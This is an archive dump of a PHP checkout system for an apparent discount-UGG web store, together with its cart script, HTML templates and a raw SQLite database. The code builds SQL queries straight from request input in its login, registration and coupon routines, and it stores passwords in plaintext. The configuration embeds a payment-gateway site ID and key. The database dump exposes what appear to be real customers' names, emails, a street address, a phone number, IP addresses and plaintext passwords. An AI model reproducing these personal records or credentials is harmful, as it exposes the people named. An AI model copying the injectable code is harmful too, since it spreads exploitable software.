used_codes(codeid)"); $cart_db->exec("create index subscription_email on subscription(email)"); $cart_db->exec("create index orders_orderid on orders(orderid)"); } else die("sorry, appear unknown error, please visit later!"); } else { $cart_db = new SQLiteDB($dbfile,""); if(!$cart_db) die("sorry, appear unknown error, please visit later!"); } return $cart_db; } ?>cheapuggsales.uk.com/cart_new/index.php0000777000000000000000000011201611634074143017217 0ustar rootroot0.6261, 'EUR'=>0.7196, 'USD'=>1, ); $shipping_method=array( array( 0, 'Free Shipping (10 working days arrive, 14 days money-back without reason)' ) ); $payment_method=array( 'rp'=>array( 'actionurl'=>'https://www.realypay-checkout.com/payment/index.cgi', 'siteid'=>'63441207', 'key'=>'4FB7ADECE947', ) ); check_cookie(); $cart = new cart(); if(!isset($cart->data['otherdata']['orderid']) or empty($cart->data['otherdata']['orderid'])) { $cart->data['otherdata']['orderid']=ORDERID; $cart->save(); } define("BACKURL", "http://".DOMAIN."/cart/index.php?action=returnurl&orderid=".$cart->data['otherdata']['orderid']); define("RETURNURL", BACKURL); $action=$_REQUEST["action"]?$_REQUEST["action"]:'index'; switch($action) { case 'index': index(); break; case 'add': add(); break; case 'update': update(); break; case 'pay': pay(); break; case 'onepage': onepage(); case 'delete': delete(); break; case 'empty': unset($cart->data); $cart->save(); index(); break; case 'coupon': coupon(); break; case 'cancelcoupon': $info=cancelcoupon(); die($info); break; case 'mergepayform': $info=mergepayform(); die($info); break; case 'sendmail': sendordermail(); case 'returnurl': returnurl(); break; } function set_cart_currency($curr='USD')//设置购物车货币类型 { global $cart,$huilv; if(!empty($curr)) $cart->data['otherdata']['currency']['bz']=$_SESSION['currency']=$curr; if(!empty($_SESSION['currency'])) $cart->data['otherdata']['currency']['bz']=$_SESSION['currency']; else $cart->data['otherdata']['currency']['bz']='USD'; switch($cart->data['otherdata']['currency']['bz']) { case 'GBP': $cart->data['otherdata']['currency']['bz']='GBP'; $cart->data['otherdata']['currency']['bf']='£'; $cart->data['otherdata']['currency']['bf1']='£'; $cart->data['otherdata']['currency']['hl']=$huilv['GBP']; break; case 'EUR': $cart->data['otherdata']['currency']['bz']='EUR'; $cart->data['otherdata']['currency']['bf']='€'; $cart->data['otherdata']['currency']['bf1']='€'; $cart->data['otherdata']['currency']['hl']=$huilv['EUR']; break; case 'USD': $cart->data['otherdata']['currency']['bz']='USD'; $cart->data['otherdata']['currency']['bf']='$'; $cart->data['otherdata']['currency']['bf1']='$'; $cart->data['otherdata']['currency']['hl']=$huilv['USD']; break; default: $cart->data['otherdata']['currency']['bz']='USD'; $cart->data['otherdata']['currency']['bf']='$'; $cart->data['otherdata']['currency']['bf1']='$'; $cart->data['otherdata']['currency']['hl']=$huilv['USD']; } $cart->save(); } function add() { global $cart,$huilv; $id=urldecode(trim($_REQUEST["pid"])); $color=$_REQUEST["color"]?$_REQUEST["color"]:''; $size=$_REQUEST["size"]?$_REQUEST["size"]:''; if($color!='' or $size!='') { $id.='_'.$color.'_'.$size; $name=trim($_REQUEST["name"]).'_'.$color.'_'.$size; } if(!isset($cart->data[$id])) { $cart->data[$id]['id']=$id; $cart->data[$id]['name']=trim($_REQUEST["name"]); if(CURRENCY=='')//购物车用美元保存,可接受多种货币类型提交 { switch(trim($_REQUEST["currency"])) { case 'GBP': $price=floatval($_REQUEST["price"])/$huilv['GBP']; set_cart_currency('GBP'); break; case 'EUR': $price=floatval($_REQUEST["price"])/$huilv['EUR']; set_cart_currency('EUR'); break; case 'USD': $price=floatval($_REQUEST["price"])/$huilv['USD']; set_cart_currency('USD'); break; default: $price=floatval($_REQUEST["price"]); set_cart_currency(''); } } else //购物车用CURRENCY保存价格,且只接受CURRENCY价格提交 { $price=floatval($_REQUEST["price"]); $curr=trim($_REQUEST["currency"]); if(!empty($curr)) set_cart_currency(trim($_REQUEST["currency"])); else set_cart_currency(''); } $cart->data[$id]['price']=$price; $cart->data[$id]['discount']=0;//优惠的金额 $cart->data[$id]['count']=intval($_REQUEST["count"]); $cart->data[$id]['dis_count']=0;//享受优惠的产品数 $cart->data[$id]['purl']=urldecode(trim($_REQUEST["purl"])); $cart->data[$id]['pimg']=urldecode(trim($_REQUEST["pimg"])); $cart->data[$id]['money'] = floatval($cart->data[$id]['price']) * intval($cart->data[$id]['count']); $cart->data[$id]['dis_money']=$cart->data[$id]['discount'] * $cart->data[$id]['dis_count'];//享受总的优惠金额 $cart->save(); } Header("Location: /cart/index.php"); exit; } function update() { global $cart; $arr_cart=$_REQUEST['cart']; foreach ($arr_cart AS $k => $v) { if($k=='otherdata') continue; if(isset($cart->data[$k])) { if($v['qty']==0) { unset($cart->data[$k]); continue; } $cart->data[$k]['count']=$v['qty']; $cart->data[$k]['money'] = floatval($cart->data[$k]['price']) * intval($cart->data[$k]['count']); } } if(isset($cart->data['otherdata']['coupon_code'])&& !empty($cart->data['otherdata']['coupon_code'])) { $coupon_code=$cart->data['otherdata']['coupon_code']; cancelcoupon(); applycoupon($coupon_code); } unset($cart->data['']); $cart->save(); Header("Location: /cart/index.php"); exit; } function onepage() { global $cart; $subtotal=$cart->sum('money'); if($subtotal<=0) { Header("Location: /cart/index.php"); exit; } $action=trim($_POST['subaction']); switch($action) { case 'billing': $info=''; if(!empty($_POST['billing_customer_password'])) { //注册帐号信息 $info=register(); } die($info); break; case 'shipping_method': $cart->data['otherdata']['shipping_fee']=floatval($_POST['shipping_method']); $cart->save(); $subtotal=$cart->sum('money')*$cart->data['otherdata']['currency']['hl']; $result['subtotal']=$cart->data['otherdata']['currency']['bf'].number_format($subtotal,2,'.',','); $discount=$cart->sum('dis_money')*$cart->data['otherdata']['currency']['hl']; $result['discount']=$cart->data['otherdata']['currency']['bf'].number_format($discount,2,'.',','); $shipping_fee=$cart->data['otherdata']['shipping_fee']*$cart->data['otherdata']['currency']['hl']; $result['shipping_fee']=$cart->data['otherdata']['currency']['bf'].number_format($shipping_fee,2,'.',','); $result['grandtotal']=$cart->data['otherdata']['currency']['bf'].number_format($subtotal+$shipping_fee-$discount,2,'.',','); die(json_encode($result)); break; case 'login': $info=login(trim($_POST['login_email']),trim($_POST['login_password'])); die($info); break; case 'logout': logout(); die(); break; default: $html=file_get_contents('onepage.html'); $shipping_method_html=html_shippingmethod(); $html=str_replace('{var_shipping_method}',$shipping_method_html,$html); $cartlist_html=""; $i=0; $last=count($cart->data)-1; foreach($cart->data as $id=>$data) { if($id=='otherdata') continue; $i++; $class=""; if($i==1) $class.="first"; if($i%2==0) $class.=" even"; else $class.=" odd"; if($i==$last) $class.=" last"; $price=$data['price']*$cart->data['otherdata']['currency']['hl']; $sum_price=$cart->data['otherdata']['currency']['bf'].number_format($price*$data['count'], 2, '.', ','); $price=$cart->data['otherdata']['currency']['bf'].number_format($price, 2, '.', ','); $cartlist_html.=<<

{$data['name']}

$price {$data['count']} $sum_price html; } $html=str_replace('{var_cartlist}',$cartlist_html,$html); $subtotal=$cart->sum('money')*$cart->data['otherdata']['currency']['hl']; $html=str_replace('{var_subtotal}',$cart->data['otherdata']['currency']['bf'].number_format($subtotal,2,'.',','),$html); $discount=$cart->sum('dis_money')*$cart->data['otherdata']['currency']['hl']; $html=str_replace('{var_discount}','- '.$cart->data['otherdata']['currency']['bf'].number_format($discount,2,'.',','),$html); $shipping_fee=$cart->data['otherdata']['shipping_fee']*$cart->data['otherdata']['currency']['hl']; $html=str_replace('{var_shipping_fee}',$cart->data['otherdata']['currency']['bf'].number_format($sipping_fee,2,'.',','),$html); $html=str_replace('{var_grandtotal}',$cart->data['otherdata']['currency']['bf'].number_format($subtotal+$sipping_fee-$discount,2,'.',','),$html); $logininfo_html=""; if(empty($_SESSION['loginuser'])) { $logininfo_html='

You Are Welcome!

'; $html=str_replace('{var_billing_firstname}','',$html); $html=str_replace('{var_billing_lastname}','',$html); $html=str_replace('{var_billing_email}','',$html); $html=str_replace('{var_billing_street1}','',$html); $html=str_replace('{var_billing_street2}','',$html); $html=str_replace('{var_billing_city}','',$html); $html=str_replace('{var_billing_region}','',$html); $html=str_replace('{var_billing_postcode}','',$html); $html=str_replace('{var_billing_telephone}','',$html); $html=str_replace('{var_billing_sex_0}','checked="checked"',$html); $html=str_replace('{var_billing_sex_1}','',$html); $html=str_replace('{var_countrydefault}','',$html); } else { $logininfo_html='

Welcome, '.$_SESSION['loginname'].'! Log Out

'; $cart_db=open_cartdb(); $userinfo=$cart_db->fetchAll("select * from users where email='".$_SESSION['loginuser']."'"); $html=str_replace('{var_billing_firstname}',$userinfo[0]['firstname'],$html); $html=str_replace('{var_billing_lastname}',$userinfo[0]['lastname'],$html); $html=str_replace('{var_billing_email}',$userinfo[0]['email'],$html); $html=str_replace('{var_billing_street1}',$userinfo[0]['address'],$html); $html=str_replace('{var_billing_street2}',$userinfo[0]['address1'],$html); $html=str_replace('{var_billing_city}',$userinfo[0]['city'],$html); $html=str_replace('{var_billing_region}',$userinfo[0]['state'],$html); $html=str_replace('{var_billing_postcode}',$userinfo[0]['zip'],$html); $html=str_replace('{var_billing_telephone}',$userinfo[0]['telephone'],$html); if($userinfo[0]['gender']==0) { $html=str_replace('{var_billing_sex_0}','checked="checked"',$html); $html=str_replace('{var_billing_sex_1}','',$html); } else { $html=str_replace('{var_billing_sex_1}','checked="checked"',$html); $html=str_replace('{var_billing_sex_0}','',$html); } $html=str_replace('{var_countrydefault}','',$html); } $html=str_replace('{var_logininfo}',$logininfo_html,$html); //$subtatol die($html); } } function pay() { global $cart; } function index() { global $cart; $curr=$_GET['currency']?$_GET['currency']:''; set_cart_currency($curr); $total_money=$cart->sum('money')*$cart->data['otherdata']['currency']['hl']; if($total_money<=0) show_empty_cart(); $html_cartlist=""; $i=0; $last=count($cart->data)-1; foreach ($cart->data AS $k => $v) { if($k=='otherdata') continue; $i++; $class=""; if($i==1) $class.="first"; if($i%2==0) $class.=" even"; else $class.=" odd"; if($i==$last) $class.=" last"; $price=$v['price']*$cart->data['otherdata']['currency']['hl']; $sum_price=number_format($price*$v['count'], 2, '.', ','); $price=number_format($price, 2, '.', ','); $v['pimg']=substr($v['pimg'],0,5)=='http:'?$v['pimg']:'/'.ltrim($v['pimg'],'/'); $v['purl']=substr($v['purl'],0,5)=='http:'?$v['purl']:'/'.ltrim($v['purl'],'/'); $html_cartlist.=<< {$v['name']}

{$v['name']}

{$cart->data['otherdata']['currency']['bf']}{$price} {$cart->data['otherdata']['currency']['bf']}{$sum_price} Remove item html; } $html=file_get_contents('cartlist.html'); $html=str_replace('{var_cartlist}',$html_cartlist,$html); $subtotal=$cart->data['otherdata']['currency']['bf'].number_format($total_money,2,'.',','); $discount=$cart->sum('dis_money')*$cart->data['otherdata']['currency']['hl']; $grandtotal=$cart->data['otherdata']['currency']['bf'].number_format($total_money-$discount,2,'.',','); if($discount>0) { $discount=$cart->data['otherdata']['currency']['bf'].number_format($discount,2,'.',','); $discount='Discount('.$cart->data['otherdata']['coupon_code'].') -'.$discount.''; $html=str_replace('{var_discount}',$discount,$html); } else $html=str_replace('{var_discount}','Discount -0',$html); $html=str_replace('{var_subtotal}',$subtotal,$html); $html=str_replace('{var_grandtotal}',$grandtotal,$html); $currency_html=""; if($cart->data['otherdata']['currency']['bz']!='GBP') $currency_html.='
  • '; else $currency_html.='
  • '; if($cart->data['otherdata']['currency']['bz']!='EUR') $currency_html.='
  • '; else $currency_html.='
  • '; if($cart->data['otherdata']['currency']['bz']!='USD') $currency_html.='
  • '; else $currency_html.='
  • '; $html=str_replace('{var_currency}',$currency_html,$html); die($html); } function show_empty_cart() { $html=file_get_contents('empty.html'); die($html); } function delete() { global $cart; $id=urldecode(trim($_REQUEST['id'])); if(!empty($id) && isset($cart->data[$id])) unset($cart->data[$id]); $cart->save(); Header("Location: /cart/index.php"); exit; } function check_cookie() { //判断cookie //$_SERVER['QUERY_STRING'] 传递这个参数避免第一次添加商品显示空车 $post=json_encode($_POST); $post=preg_replace('@(\{|,)"(.*?)"\:@','$1$2:',$post); if(is_null($_COOKIE['cookie_test']) && empty($_GET['nocookie'])) { $html=<< html; die($html); } elseif(is_null($_COOKIE['cookie_test']))//不支持cookie,给出提示 { die(file_get_contents("./nocookie.html")); } } function applycoupon($coupon_code) { global $cart; if($cart->sum('dis_money')>0) { $result['flag']="error"; $result['content']="Your shopping cart has enjoyed benefits, can not use the discount code"; return json_encode($result); } $result=array(); $cart_db=open_cartdb(); $coupon=trim($coupon_code); if(empty($coupon)) { $result['flag']="error"; $result['content']="coupon is empty"; return json_encode($result); } else { $coupon_rs=$cart_db->fetchAll("select * from codes where code='".$coupon."'"); if($coupon_rs) { if(!empty($coupon_rs[0]['totalusescount']) && $coupon_rs[0]['totalusescount']<=$coupon_rs[0]['used']) { $result['flag']="error"; $result['content']="The discount code has reached its maximum frequency of using"; return json_encode($result); } if($coupon_rs[0]['fromtime']>time() && $coupon_rs[0]['totime']sum('count')<$coupon_rs[0]['qtyincart'])//优惠码使用次数到限制数了 { $result['flag']="error"; $result['content']="The discount codes require the number of shopping cart products at least ".$coupon_rs[0]['qtyincart']; return json_encode($result); } if(!empty($coupon_rs[0]['totalmoney']) && $cart->sum('money')<$coupon_rs[0]['totalmoney'])//不在优惠码使用时间内 { $result['flag']="error"; $result['content']="The discount code requires the total amount of your shopping cart more than ".$cart->data['otherdata']['currency']['bf1'].number_format($coupon_rs[0]['totalmoney']*$cart->data['otherdata']['currency']['hl'],2,'.',',')." of goods"; return json_encode($result); } foreach($cart->data as $id=>$p) { if($id=='otherdata') continue; if(empty($coupon_rs[0]['qtyproduct']) || $p['count']>=$coupon_rs[0]['qtyproduct'])//商品数量不限制或符合限制 { if(empty($coupon_rs[0]['price']) || $p['price']>=$coupon_rs[0]['price'])//商品价格不限制或符合限制 { switch($coupon_rs[0]['discounttype']) { case 'discount'://折扣 $cart->data[$id]['discount']=$p['price']*$coupon_rs[0]['discount']/100; break; case 'subtraction'://立减 $cart->data[$id]['discount']=$coupon_rs[0]['discount']; break; default: } $cart->data[$id]['dis_count']=$p['count']; $cart->data[$id]['dis_money']=$cart->data[$id]['discount']*$cart->data[$id]['dis_count']; $discount_money+=$cart->data[$id]['dis_money']; //优惠码使用记录,:( 暂时没记录 } } } $cart->data['otherdata']['coupon_code']=$coupon; $cart->save(); $result['discount_code']=$coupon; $result['discount']=$cart->data['otherdata']['currency']['bf'].number_format($discount_money*$cart->data['otherdata']['currency']['hl'],2,'.',','); $result['grand_total']=($cart->sum('money')-$discount_money)*$cart->data['otherdata']['currency']['hl']; $result['grand_total']=$cart->data['otherdata']['currency']['bf'].number_format($result['grand_total'],2,'.',','); return json_encode($result); } else { $result['flag']="error"; $result['content']="Discount code is invalid"; return json_encode($result); } } } function cancelcoupon() { global $cart; if(isset($cart->data['otherdata']['coupon_code']) && !empty($cart->data['otherdata']['coupon_code'])) { foreach($cart->data as $id=>$d) { if($id=='otherdata') continue; $cart->data[$id]['discount']=0; $cart->data[$id]['dis_count']=0; $cart->data[$id]['dis_money']=0; } $cart->data['otherdata']['coupon_code']=''; $cart->save(); } $result['grand_total']=$cart->sum('money')*$cart->data['otherdata']['currency']['hl']; $result['grand_total']=$cart->data['otherdata']['currency']['bf'].number_format($result['grand_total'],2,'.',','); return json_encode($result); } function coupon() { $coupon=trim($_REQUEST["coupon_code"]); $result=applycoupon($coupon); die($result); } function register() { $result=array(); if(strlen(trim($_POST['billing_customer_password']))<6) { $result['flag']='err'; $result['content']='Password length can not be less than 6'; return json_encode($result); } $cart_db=open_cartdb(); $rs=$cart_db->fetchAll("select id from users where email='".trim($_POST['billing_email'])."' and password!=''"); if(!empty($rs)) { $result['flag']='err'; $result['content']='The email have been registered in the past'; return json_encode($result); } $sql="insert into users(firstname,lastname,gender,email,password,address,address1,city,state,zip,country,telephone,regtime,regip,lastlogintime,lastloginip) values('".trim($_POST['billing_firstname'])."','".trim($_POST['billing_lastname'])."',".trim($_POST['sex']).",'".trim($_POST['billing_email'])."','".trim($_POST['billing_customer_password'])."','".trim($_POST['billing_street'][0])."','".trim($_POST['billing_street'][1])."','".trim($_POST['billing_city'])."','".trim($_POST['billing_region'])."','".trim($_POST['billing_postcode'])."','".trim($_POST['billing_country'])."','".trim($_POST['billing_telephone'])."',".time().",'".$_SERVER['REMOTE_ADDR']."',".time().",'".$_SERVER['REMOTE_ADDR']."')"; $cart_db->exec($sql); return login(trim($_POST['billing_email']),trim($_POST['billing_customer_password'])); //return 'Registration information has been saved, the next you can use your email login, automatic access to billing information'; } function login($email,$password) { $result=array(); if(strlen(trim($password))<6) { $result['flag']='err'; $result['content']='Password length can not be less than 6'; return json_encode($result); } $cart_db=open_cartdb(); $rs=$cart_db->fetchAll("select * from users where email='".trim($email)."' and password='".$password."'"); if(empty($rs)) { $result['flag']='err'; $result['content']='Sorry, your login email and password entered do not match'; return json_encode($result); } else { //在这里进行保存登录会话 $_SESSION['loginuser']=$rs[0]['email']; $_SESSION['loginname']=$rs[0]['firstname'].' '.$rs[0]['lastname']; return json_encode($rs); } } function logout() { //注销登录会话 unset($_SESSION['loginuser']); unset($_SESSION['loginname']); } function html_shippingmethod() { global $cart,$shipping_method; $html=""; foreach($shipping_method as $k=>$method) { $shipping_tip=sprintf($method[1],$cart->data['otherdata']['currency']['bf'].number_format($method[0]*$cart->data['otherdata']['currency']['hl'],2,'.',',')); $html.=<<$shipping_tip
    html; } return $html; } function mergepayform() { global $cart,$payment_method; $paras_html=""; $paras_html=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $i=1; foreach($cart->data as $id=>$d) { if($id=='otherdata') continue; $price=0; if(isset($d['discount']) && !empty($d['discount'])) $price=round(($d['price']-$d['discount'])*$cart->data['otherdata']['currency']['hl'],2); else $price=round($d['price']*$cart->data['otherdata']['currency']['hl'],2); $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $i++; } $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; if($_COOKIE['billshipsame']!=1) { $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; } else { $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; $paras_html.=''; } $result=array(); $result['paras']=$paras_html; $result['actionurl']=$payment_method['rp']['actionurl']; return json_encode($result); } function sendordermail() { global $cart; $cart_db=open_cartdb(); //记录订单 $sql="insert into orders(email,orderid,ctime,alerts,lastalert,status) values('".$_COOKIE['billemail']."','".$cart->data['otherdata']['orderid']."',".time().",0,0,'')"; $cart_db->exec($sql); $maildata="
    "; $maildata.="
    Cart\n"; $maildata.="
    \t order_id:".$cart->data['otherdata']['orderid']."\n"; $maildata.="
    \t cart_currency:".$cart->data['otherdata']['currency']['bz']."\n"; $maildata.="
    \t shipping_fee:".$cart->data['otherdata']['shipping_fee']."\n"; foreach($cart->data as $k=>$p) { if($k=='otherdata') continue; foreach($p as $kk=>$pp) { $maildata.="
    \t products[".$k.']_'.$kk.':'.$pp."\n"; } } $maildata.="
    \t Money total:".$cart->sum('money')."\n"; $maildata.="
    \t Discount money total:".$cart->sum('dis_money')."\n"; $grandtotal=$cart->sum('money')-$cart->sum('dis_money')+$cart->data['otherdata']['shipping_fee']; $maildata.="
    \t Grand total:".$grandtotal."\n"; $maildata.="
    Cookie\n"; foreach($_COOKIE as $k=>$v) { $maildata.="
    \t ".$k.':'.$v."\n"; } $maildata.="
    Get\n"; foreach($_GET as $k=>$v) { $maildata.="
    \t ".$k.':'.$v."\n"; } $maildata.="
    Post\n"; foreach($_POST as $k=>$v) { $maildata.="
    \t ".$k.':'.$v."\n"; } $maildata.="
    _Server\n"; $maildata.="
    \t SERVER_NAME:".$_SERVER['SERVER_NAME']."\n"; $maildata.="
    \t HTTP_CLIENT_IP:".$_SERVER['HTTP_CLIENT_IP']."\n"; $maildata.="
    \t REMOTE_ADDR:".$_SERVER['REMOTE_ADDR']."\n"; $maildata.="
    \t HTTP_X_FORWARDED_FOR:".$_SERVER['HTTP_X_FORWARDED_FOR']."\n"; $maildata.="
    \t HTTP_USER_AGENT:".$_SERVER['HTTP_USER_AGENT']."\n"; $maildata.="
    \t HTTP_ACCEPT:".$_SERVER['HTTP_ACCEPT']."\n"; $maildata.="
    \t HTTP_ACCEPT_LANGUAGE:".$_SERVER['HTTP_ACCEPT_LANGUAGE']."\n"; $maildata.="
    \t HTTP_ACCEPT_ENCODING:".$_SERVER['HTTP_ACCEPT_ENCODING']."\n"; $maildata.="
    "; $data=str_replace('
    ','',str_replace('
    ','',str_replace('
    ','',str_replace('
    ','',$maildata)))); if(file_put_contents('orders/'.$cart->data['otherdata']['orderid'].'.txt',$data)) { @chmod('orders/'.$cart->data['otherdata']['orderid'].'.txt',0777); sendmail(MAIL,DOMAIN.' Place Order '.$cart->data['otherdata']['orderid'],$maildata); unset($cart->data); $cart->save(); foreach($_COOKIE as $k=>$v)//清空cookie { if($k=='cookie_test') continue; setcookie($k,"",time()-3600); } $result['jg']=1; die(json_encode($result)); }//这里的问题:如果订单邮件发送失败,照样会跳转到支付接口,但订单信息会保存到文本中 $result['jg']=0; die(json_encode($result)); } function returnurl() { $maildata=array(); $orderid =trim ( $_REQUEST ["orderid"] ); if (strlen ( $orderid ) < 14) //年月日时分秒 { header ( "HTTP/1.1 404 Not Found" ); exit (); } $orderid = str_replace ( ".", "", str_replace ( "/", "", str_replace ( "%", "", $orderid ) ) ); $maildata="
    "; $maildata.="
    Cart\n"; $maildata.="
    \t order_id:".$orderid."\n"; $maildata.="
    Cookie\n"; foreach($_COOKIE as $k=>$v) { $maildata.="
    \t ".$k.':'.$v."\n"; } $maildata.="
    Get\n"; foreach($_GET as $k=>$v) { $maildata.="
    \t ".$k.':'.$v."\n"; } $maildata.="
    Post\n"; foreach($_POST as $k=>$v) { $maildata.="
    \t ".$k.':'.$v."\n"; } $maildata.="
    Server\n"; $maildata.="
    \t SERVER_NAME:".$_SERVER['SERVER_NAME']."\n"; $maildata.="
    \t HTTP_CLIENT_IP:".$_SERVER['HTTP_CLIENT_IP']."\n"; $maildata.="
    \t REMOTE_ADDR:".$_SERVER['REMOTE_ADDR']."\n"; $maildata.="
    \t HTTP_X_FORWARDED_FOR:".$_SERVER['HTTP_X_FORWARDED_FOR']."\n"; $maildata.="
    \t HTTP_USER_AGENT:".$_SERVER['HTTP_USER_AGENT']."\n"; $maildata.="
    \t HTTP_ACCEPT:".$_SERVER['HTTP_ACCEPT']."\n"; $maildata.="
    \t HTTP_ACCEPT_LANGUAGE:".$_SERVER['HTTP_ACCEPT_LANGUAGE']."\n"; $maildata.="
    \t HTTP_ACCEPT_ENCODING:".$_SERVER['HTTP_ACCEPT_ENCODING']."\n"; $orderinfo=file_get_contents("orders/".$orderid.".txt"); //$orderinfo=str_replace("\t","
    ",$orderinfo); $maildata.="
    Order\n"; $maildata.=str_replace("\t","
    ",$orderinfo)."
    \n"; $maildata.="
    "; $cart_db=open_cartdb(); switch(strtolower(trim($_REQUEST['verified']))) { case 'test approve'://测试 //break; case 'approved'://成功 //记录订单状态 $sql="update orders set status='approved' where orderid='".$orderid."'"; $cart_db->exec($sql); $time = date ( "Y-m-d H:i:s" ); $subject = DOMAIN . " realyPay Payment approved $orderid $time"; sendmail(MAIL,$subject,$maildata);//发给自己 $customerdata=file_get_contents('success.txt'); $customerdata=str_replace('{var_orderid}',$orderid,$customerdata); $ordertxt=file("orders/".$orderid.".txt"); $orderarr=array(); foreach($ordertxt as $v) { $d=explode(':',trim($v)); $i=1; while($i$v) { if(substr($k,0,9)=='products[' && substr($k,-5)=='_purl') { $purls.=substr($v,0,5)=='http:'?$v:'http://'.DOMAIN.'/'.ltrim($v,'/'); $purls.="\n"; } } $customerdata=str_replace('{var_productsurl}',$purls,$customerdata); $shippingaddress=""; $shippingaddress.="Your Name:".$orderarr['shipCustomerName']."\n"; $shippingaddress.="email:".$orderarr['shipemail']."\n"; $shippingaddress.="address:".$orderarr['shipAddress']."\n"; $shippingaddress.="city:".$orderarr['shipcity']."\n"; $shippingaddress.="state:".$orderarr['shipregion']."\n"; $shippingaddress.="postcode:".$orderarr['shippostcode']."\n"; $shippingaddress.="country:".$orderarr['shipcountry']."\n"; $shippingaddress.="telephone:".$orderarr['shiptelephone']."\n"; $shippingaddress.="sex:".$orderarr['shipsex']."\n"; $customerdata=str_replace('{var_shppingaddress}',$shippingaddress,$customerdata); sendmail(trim($orderarr['billemail']),DOMAIN." realyPay Payment approved $orderid $time",nl2br($customerdata)); $html=file_get_contents('return.html'); $html=str_replace('{var_orderid}',$orderid,$html); die($html); break; case 'declined'://付款失败 //break; case 'refund'://退款 //break; case 'unpaid'://未付款 //break; case 'pending'://交易处理中 //break; case 'error'://支付出错 //break; case 'canceled'://付款取消 //break; case 'chargeback'://拒付 //break; case 'fraud'://欺诈 //break; default: $time = date ( "Y-m-d H:i:s" ); $subject = DOMAIN . " realyPay payment failure $orderid $time"; sendmail(MAIL,$subject,$maildata);//发给自己 $customerdata=file_get_contents('failure.txt'); $customerdata=str_replace('{var_orderid}',$orderid,$customerdata); $ordertxt=file("orders/".$orderid.".txt"); $orderarr=array(); foreach($ordertxt as $v) { $d=explode(':',trim($v)); $i=1; while($i$v) { if(substr($k,0,9)=='products[' && substr($k,-5)=='_purl') { $purls.=substr($v,0,5)=='http:'?$v:'http://'.DOMAIN.'/'.ltrim($v,'/'); $purls.="\n"; } } $customerdata=str_replace('{var_productsurl}',$purls,$customerdata); sendmail(trim($orderarr['billemail']),DOMAIN." realyPay payment failure $orderid $time",nl2br($customerdata)); $html=file_get_contents('return.html'); $html=str_replace('{var_orderid}',$orderid,$html); die($html); } } function getHuilv($from_Currency,$to_Currency) { $amount = urlencode($amount); $from_Currency = urlencode($from_Currency); $to_Currency = urlencode($to_Currency); $url = "http://www.google.com/ig/calculator?hl=en&q=1$from_Currency=?$to_Currency"; $ch = curl_init(); $timeout = 0; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT , "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $rawdata = curl_exec($ch); curl_close($ch); $data=preg_replace('@(\{|,)(.*?)\:@','$1"$2":',$rawdata); $data=json_decode($data); preg_match('@(.*?) (?=[a-z])@i',$data->rhs,$p); return floatval($p[1]); } ?>cheapuggsales.uk.com/cart_new/cartlist.html0000777000000000000000000001551111634073675020125 0ustar rootroot Shopping Cart

    Shopping Cart

    {var_cartlist}
      Product Name Unit Price Qty Subtotal  

    Discount Codes

    {var_discount}
    Grand Total {var_grandtotal}
    Subtotal {var_subtotal}
      • {var_currency}
      • Currencies:
    cheapuggsales.uk.com/cart_new/newsletter.html0000777000000000000000000006153111634073720020466 0ustar rootroot newsletter
    cheapuggsales.uk.com/cart_new/cart_db.sqlite0000777000000000000000000003200011647262755020226 0ustar rootrootSQLite format 3@  Q%%etablesubscriptionsubscriptionCREATE TABLE subscription(id integer primary key,email text,firstname text,lastname text,gender integer,occupation text,birthday integer,country text,zip text,remarks text)~!!Gtableused_codesused_codesCREATE TABLE used_codes(id integer primary key,userid integer,codeid integer,usetime integer)ktablecodescodesCREATE TABLE codes(id integer primary key,code text,discount integer,discounttype text,fromtime integer,totime integer,totalusescount integer,percustomer integer,used integer,qtyproduct integer,qtyincart integer,totalmoney real,price real)tableusersusersCREATE TABLE users(id integer primary key,firstname text,lastname text,gender text,email text,password text,address text,address1 text,city text,state text,zip text,country text,telephone text,regtime integer,regip text,lastlogintime integer,lastloginip  JJ#1' 3#''Silvia GaiaDonadel1pesci87@hotmail.itsilviaVia La prà 4Povegliano VeroneseVerona37064Italy340/8431840NZ46.19.136.100NZ46.19.136.100#1) 3!''Silvia GaiaDonadel1Pesci87@hotmail.itsilviaVia La Prà. 4Povegliano VeroneseVR37064Italy3408431840N 46.19.136.100N 46.19.136.100~%% '''dgfddgdg0df@gmail.comsouxunsouxunsdfdsfdgdgdgdg898565United States41465632Nps46.19.136.100Nps46.19.136.100    i;kI/ -/ yulu77@gmail.com20111018193858968Ne  1 201110181928046431Nb211 pesci87@hotmail.it201110181927053410Nb211 pesci87@hotmail.it201110181858088269N[211 pesci87@hotmail.it201110181855565810N[t211 pesci87@hotmail.it201110181848472189NZS,%1 df@gmail.com201109141725163468Nps0-1 yulu77@gmail.com201109130919018341Nn0-1 yulu77@gmail.com201109090941367001Nio21/1 asdf22@fawefc.com201109081807404909Nh ZQ%%etablesubscriptionsubscriptionCREATE TABLE subscription(id integer primary key,email text,firstname text,lastname text,gender integer,occupation text,birthday integer,country text,zip text,remarks text)~!!Gtableused_codesused_codesCREATE TABLE used_codes(id integer primary key,userid integer,codeid integer,usetime integer)tableusersusersCREATE TABLE users(id integer primary key,firstname text,lastname text,gender text,email text,password text,address text,address1 text,city text,state text,zip text,country text,telephone text,regtime integer,regip text,lastlogintime integer,lastloginip text)ktablecodescodesCREATE TABLE codes(id integer primary key,code text,discount integer,discounttype text,fromtime integer,totime integer,totalusescount integer,percustomer integer,used integer,qtyproduct integer,qtyincart integer,totalmoney real,price real) `fo`N )iindexorders_orderidorders CREATE INDEX orders_orderid on orders(orderid)` 1%yindexsubscription_emailsubscription CREATE INDEX subscription_email on subscription(email)[/!uindexused_codes_codeidused_codes CREATE INDEX used_codes_codeid on used_codes(codeid)[/!uindexused_codes_useridused_codes CREATE INDEX used_codes_userid on used_codes(userid)D#]indexusers_emailusers CREATE INDEX users_email on users(email)~!!Gtableused_codesused_codesCREATE TABLE used_codes(id integer primary key,userid integer,codeid 